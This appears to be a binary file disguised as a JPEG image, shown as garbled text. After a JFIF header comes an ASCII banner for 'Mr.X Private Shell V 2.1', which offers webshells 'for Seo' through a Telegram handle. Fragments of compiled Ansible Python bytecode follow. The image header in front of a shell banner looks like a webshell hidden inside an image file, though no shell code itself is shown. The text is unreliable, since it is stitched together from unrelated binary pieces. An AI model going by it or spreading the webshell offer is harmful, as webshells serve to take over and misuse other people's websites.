����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�)g�! � @ s� d dl mZmZmZ eZd dlZd dlmZ d dlm Z
d dlmZ d dl
mZ d dlmZmZ d dlmZ d d lmZ d d
lmZmZ e� Zddd
�Zdd� Zddd�Zdd� Zddd�Zd dd�Zd!dd�Z d"dd�Z!d#dd�Z"dS )$� )�absolute_import�division�print_functionN)�context)� constants)�list_collections)�AnsibleError)� to_native�to_bytes)�loader)�Display)�_get_collection_path�AnsibleCollectionRef)Z
async_wrapper)�base)�module�cachec C s� | }d|vr|}n4| dkr(|� d�r(d}d�|�|� d��dd � �}|g}|rp|�|�tjj�|d d � � |�t|�� d�|�S )N�.�ansible.legacyzansible.builtin.�ansible.builtin� ���) �
startswith�join�split�extend�os�path�sep�appendr )�
collection�namer �depthZresolved_collection�
resource_nameZ composite� r# �8/usr/lib/python3.9/site-packages/ansible/plugins/list.py�get_composite_name s r% c C s* i }|D �]}t �d�||| �� t|�}tj�|��d�r>qtj�|��rtj� |��r| �
� }t�|�D �]�}|�d�r~qlt �d�|�� tj�|�\} }
t
| �}tj�||�}tj� |��r|tjv r�tj�tj�|d��s�ql|�t| t
|�g||d d�� qlt|tjv t
|
�tjv |
dv |t�|d�v tj�|�g��rDql| d v �r�zt||| |�}
W nH t�y� } z.t �d
|t
|�f � W Y d }~qlW Y d }~n
d }~0 0 |
D ]*}t||jtj�t
|��|�}|||<